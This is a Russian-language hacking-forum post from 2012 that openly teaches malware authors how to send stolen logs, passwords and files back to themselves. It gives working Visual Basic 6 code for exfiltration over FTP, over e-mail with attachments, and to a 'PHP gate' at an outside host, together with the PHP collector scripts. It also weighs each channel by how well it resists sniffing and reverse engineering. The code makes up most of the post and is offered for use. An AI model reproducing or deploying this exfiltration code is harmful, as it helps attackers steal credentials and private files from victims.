1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

VB6. Способы отправки данных

Тема в разделе "Visual Basic", создана пользователем chimatii, 31 янв 2012.

  1. chimatii
    chimatii Глобальный модератор
    Симпатии:
    101
    Всем доброго времени суток!
    Зачастую при написании фейков/малвари/прочего рода программ возникает надобность отправить логи/пароли/файлы себе же, так вот данной статье я и раскрою методы отправки данных. Ничего особо нового тут конечно нет, просто хочется как то систематизировать информацию:)

    Как мы знаем, популярными способами отправки данных являются:

    • отправка на FTP
    • посредством электронной почты (e-mail)
    • отправка на PHP-гейт

    Опишем поподробнее каждый из методов и осветим их плюсы и минусы.

    Отправка на FTP

    Самым небезопасным (я считаю) способом отправки данных является отправка на FTP.
    Если вдруг кто-либо выловит данные сниффером или же реверснет программу, появится риск потерять все данные, которые на этом FTP хранятся.
    Осуществляется следующим образом.
    Объявляются API (для соединения с интернетом и непосредственно для отправки файла на FTP):

    Код:
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long
    Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
    Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
    
    И непосредственно код отправки данных:

    Код:
    'Открываем интернет соединение
    hINetSession = InternetOpen("MyFTPClient", 0, vbNullString, vbNullString, 0)
    'При помощи этого соединения подключемся к FTP-серверу, где server.ru - сервер
    hSession = InternetConnect(hINetSession, "server.ru", "21", "username", "password", 1, 0, 0)
    
    'Отправляем файл C:\file.txt в папку /WWW/data/ под именем file.txt
    ' !!! Папки WWW и WWW/data уже должны быть созданы
    Call FtpPutFile(hSession, "C:\file.txt", "/WWW/data/file.txt", 1, 0)
    
    'Закрываем оба соединения
    Call InternetCloseHandle(hSession)
    Call InternetCloseHandle(hINetSession)
    Отправка на E-mail

    Здесь можно запросто использовать SSL. Это убережет от перехвата данных сниффером, но никто не мешает третьему лицу воспользоваться отладчиком. Тем не менее:

    Код:
    'Задаем переменные и присваиваем им созданный объект CDO.Message и конфиг
    Dim o_Mess As Object, v_Conf As String
    Set o_Mess = CreateObject("CDO.Message")
    v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
    
    With o_Mess
    .To = "to@mail.ru" 'e-mail, кому придут данные
    .From = "from@mail.ru" 'e-mail, от кого придут данные
    .Subject = "Subject" 'тема сообщения
    .TextBody = "Message here" 'текст сообщения
    .AddAttachment "C:\document.doc" 'добавляем вложение (если нужно)
    With .Configuration.Fields
    .Item(v_Conf & "sendusing") = 2
    .Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'используем сервер
    .Item(v_Conf & "smtpauthenticate") = 1
    .Item(v_Conf & "sendusername") = "from@mail.ru" 'логин
    .Item(v_Conf & "sendpassword") = "password" 'пароль
    .Item(v_Conf & "smtpserverport") = 465 'порт, SSL использует 465, если без - 25
    .Item(v_Conf & "smtpusessl") = True 'если True, то используем SSL, False - нет
    .Item(v_Conf & "smtpconnectiontimeout") = 60
    .Update
    End With
    .send
    End With
    Отправка на PHP-Gate

    Самый защищенный и безопасный способ передачи данных. Сниффером или отладчиком можно вытянуть адрес гейта, на который идут данные, но получить доступ к уже имеющимся там - врядли. Можно только что разве заабузить хост (и то если сниффер находится на бесплатном).

    Короткую строку (ex. login;password) можно отправить на PHP-гейт в качестве QUERY (в ссылке после знака ?)
    Как гейт подойдет сниффер от hacker-pro.net, можно использовать и иной другой (от kanick, например). Самый простенький:

    PHP:
    <?php
    $recieve 
    $_SERVER['QUERY_STRING'];
    $file fopen("log.txt""a+");
    fwrite($file"$recieve\r\n");
    fclose($file);
    ?>
    Осуществляется следующим образом. Объявляются API для соединения с интернетом:

    Код:
    Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal sUrl As String, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
    Сама отправка данных:

    Код:
    'Задаем переменные
    Dim hInternet As Long, hSession As Long
    'Открываем интернет соединение, клиент - MyClient
    hSession = InternetOpen("MyClient", 1, vbNullString, vbNullString, 0)
    'Отправляем данные login;password на гейт
    hInternet = InternetOpenUrl(hSession, "http://xaker.name/gate/gate_txt.php?login;password", vbNullString, 0, &H4000000, 0)
    'Закрываем соединение
    Call InternetCloseHandle(hInternet)
    Иначе обстоит дело с отправкой файла на гейт. Для этого я использовал тягу от DaSharm. Контрол на форме назван как socket.
    Итак, код отправки я взял здесь и портировал его на VB. Получилось примерно следующее:

    Код:
    'Объявляем API
    Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
    
    'Функция для генерации boundary - случайной строки
    Private Function RandomAlphaNumString(ByVal intLen As Integer)
    Dim StrReturn As String, X As Integer, c As Byte
    Randomize
        
    For I = 1 To intLen
    c = Int(Rnd() * 127)
        
    If (c >= Asc("0") And c <= Asc("9")) Or _
    (c >= Asc("A") And c <= Asc("Z")) Or _
    (c >= Asc("a") And c <= Asc("z")) Then
               
    StrReturn = StrReturn & Chr(c)
    Else
    I = I - 1
    End If
    Next I
        
    RandomAlphaNumString = StrReturn
    End Function
    
    'Функция для считывания файла
    Private Function GetFileContents(ByVal strPath As String) As String
    Dim nFile As Integer, baData() As Byte, sPostData As String
        
    nFile = FreeFile
    Open strPath For Binary Access Read As nFile
    If LOF(nFile) > 0 Then
      ReDim baData(0 To LOF(nFile) - 1) As Byte
      Get nFile, , baData
    
      GetFileContents = StrConv(baData, vbUnicode)
             
    End If
    Close nFile
    
    End Function
     
    Private Function SendFile2Gate(strHost As String, strScript As String, strFileName As String)
    'Задаем переменные
    Dim boundary As String, fSize As Long, buf As String
    Dim SubHeader1 As String, SubHeader2 As String, HttpHeader As String
    Dim selStart As Long, strDataFile As String
    
    strDataFile = GetFileContents(strFileName) 'считываем данные с файла
    
    fSize = Len(strDataFile) 'определяем их размер
    
    socket.Connect strHost, 80 'оподключаемся к серверу
    
    boundary = RandomAlphaNumString(32) 'генерируем boundary длиной 32
    
    'составляем заголовки
    SubHeader1 = "--" & boundary & vbCrLf & _
     "Content-Disposition: form-data; name=" & Chr(34) & "myfile" & Chr(34) & "; filename=" & Chr(34) & strFileName & Chr(34) & vbCrLf & _
     "Content-Type: application/octet-stream" & vbCrLf & vbCrLf
    
    SubHeader2 = vbCrLf & "--" & boundary & "--" & vcbrlf
    
    HttpHeader = "POST " & strScript & " HTTP/1.1" & vbCrLf & _
                 "Host: " & strHost & vbCrLf & _
                 "Connection: close" & vbCrLf & _
                 "Content-Type: multipart/form-data; boundary=" & boundary & vbCrLf & _
                 "Content-Length: " & Str(fSize + Len(SubHeader1) + Len(SubHeader2)) & vbCrLf & vbCrLf & SubHeader1
    
    Call Sleep(1000)
    
    socket.SendData HttpHeader
    
    Call Sleep(1000)
    
    ' цикл, в котором из считанных данных их файла выделяется по 4096 байт и отправляется пакетами
    selStart = 1
    Do
    buf = Mid(strDataFile, selStart, 4096)
    socket.SendData buf
    
    Call Sleep(300) 'время задержки в миллисекундах между отправкой пакетов
    
    selStart = selStart + 4096
    Loop Until Len(buf) < 4096
    
    socket.SendData SubHeader2 'отправка последнего заголовка
    socket.CloseConnection ' закрываем соединение
    
    End Function
    Вызывается функция отправки файла на PHP-гейт следующим образом:

    Код:
    Call SendFile2Gate("xaker.name", "/gate/gate.php", "C:\Windows\notepad.exe")
    И сам PHP-гейт выглядит вот так:

    PHP:
    <?  
        
    $myfile $_FILES['myfile']['tmp_name'];  
        
    $name basename($_FILES['myfile']['name']);  

        if (!
    file_exists($myfile))  
        {  
            echo 
    "error";  
        }  
        else  
        {  
            
    move_uploaded_file($myfile$name);  
            echo 
    "ok";  
        }  
    ?>
    Пожалуй все) Готовые исходники можно скачать из вложений.

    (c) chimatii, xaker.name & grabberz.com​
     
    Последнее редактирование: 26 мар 2012
    31 янв 2012
    2 пользователям это понравилось.

Поделиться этой страницей

Загрузка...